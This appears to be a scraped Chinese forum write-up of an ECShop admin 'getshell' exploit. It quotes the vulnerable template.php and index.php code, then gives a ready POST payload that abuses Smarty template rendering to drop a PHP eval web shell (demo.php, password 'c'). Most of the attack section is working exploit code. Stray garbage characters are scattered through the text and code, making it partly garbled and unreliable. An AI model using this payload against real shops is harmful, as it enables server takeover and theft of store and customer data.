Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
0 @2 {2 U; e1 q& n
7 E4 }+ }. s. v# h3 i# E( l而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

( L+ y+ J, a- X9 H5 v1 ^! T9 a1 if ($_REQUEST['act'] == 'update_library')

2   

$ R4 q0 `- S, Z/ R) s% F9 E/ @3 {

; W! @. J9 u( y( ~8 U7 g7 a6 I* U4     check_authz_json('library_manage');
6 u' |- Q- W6 E+ t0 h
5   

5 s* d1 w/ A# u% z6     $html = stripslashes(json_str_iconv($_POST['html']));
8 I( F9 @  h) [, g$ m
7   
. o/ ?& @& P, M6 y  {% E
( m  i" f" z3 v: J! c7 w  }8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   

; w. p- S8 |- A' ~4 [/ f: X# o10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

" t  D0 I1 p1 m) \11   
9 a8 o- c; g' ?/ i: G
3 _' Y6 G7 c4 C( d3 Y# ?& G3 @* ~12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   
. i8 |$ \, U7 k# w. f! F& S  V
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
  `9 {, t( f7 Q7 i/ Y
15     {
7 J& m! t, i7 D9 q! V$ _
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
0 P1 m7 E& X& ?7 |9 K
17         make_json_result('', $_LANG['update_lib_success']);

18     }

4 H+ i7 a- q3 f* r6 s& C7 r19     else
7 _! V! x* ]  x2 l
20     {

21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
+ B/ h& y- K, q7 k# Q
22     }

" {, p! `7 B) Z0 S1 B23 }

那么找个比较方便调用了模板的文件
index.php

1 if ($act == 'cat_rec')

2   

; \& }1 Q( B  D. l! w6 J3 {
5 N8 R& _) [/ |" V; Q
4   
' @$ v$ n( `7 ^* O5 B
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
4 ~. e# T8 S$ j' K9 y+ c+ ]. _. ]
6   

, b  e; h2 `7 G: ?- D7 A7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8 X! I; L3 Y$ k3 p! X% S  B$ ]8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   

11     include_once('includes/cls_json.php');

12   

13     $json = new JSON;
# z4 ?( a) i& U6 C6 c0 C! z; Z
3 L( k4 a" u% y1 m7 Y14   
4 w& g$ ^0 W, }/ e/ O
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
# ]; H$ R  h% U# B
! f+ m; f4 r/ \3 C0 h3 ]- ^* X16   

7 K* t/ r- ?' Y. y& z17     $children = get_children($cat_id);
2 Q# t: [6 X* r6 \
$ O5 ~" Q- N. T) D; i$ b18   

# U  ?$ M% p' w/ S1 t/ v6 T3 F19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

. L: Y' D' ^6 P3 b" S1 O20   

21     $smarty->assign('cat_rec_sign', 1);
- Z9 s: S  m1 d$ z/ I2 G) d
22   

+ a$ H  v# |5 s23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   
; u/ `% ]4 I/ V" G
/ r- E+ `9 G0 C* {% f, g& q8 f25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
/ n2 g2 q$ K, r" Z, D
6 I" N2 E. A: g4 M8 P26   
2 K, v3 a, X8 P2 [$ _
27         echo $rec_array[$rec_type];

2 \5 U( r% }" s9 U. ?0 w. k28   
/ F" e' F3 ]0 E, J" x# i  U
9 o6 H* s! A, t$ b7 ]29     die($json->encode($result));

0 O4 I0 _1 S* D2 `. g30   
" J) R4 I, ^0 S$ l; Z3 x  K5 F; p
31 }
( r; b% l. G/ Q' o4 E
那么就有利用方法了
8 P# O( {- K; H' q7 _; {post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

6 M5 F1 [: d2 f8 m8 D  C4 W3 H$ g​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

) K1 m# T( k) B$ {* B4 Z, P/ U然后访问http://localhost/ec/index.php?act=cat_rec
2 Q1 X& U( C2 Y$ t5 O9 U2 t/ R
- R7 |7 W6 P+ u" r" gshel地址：http://localhost/ec/demo.php
密码c
% \/ z$ x. _  Y& Q  d& r: }0 ~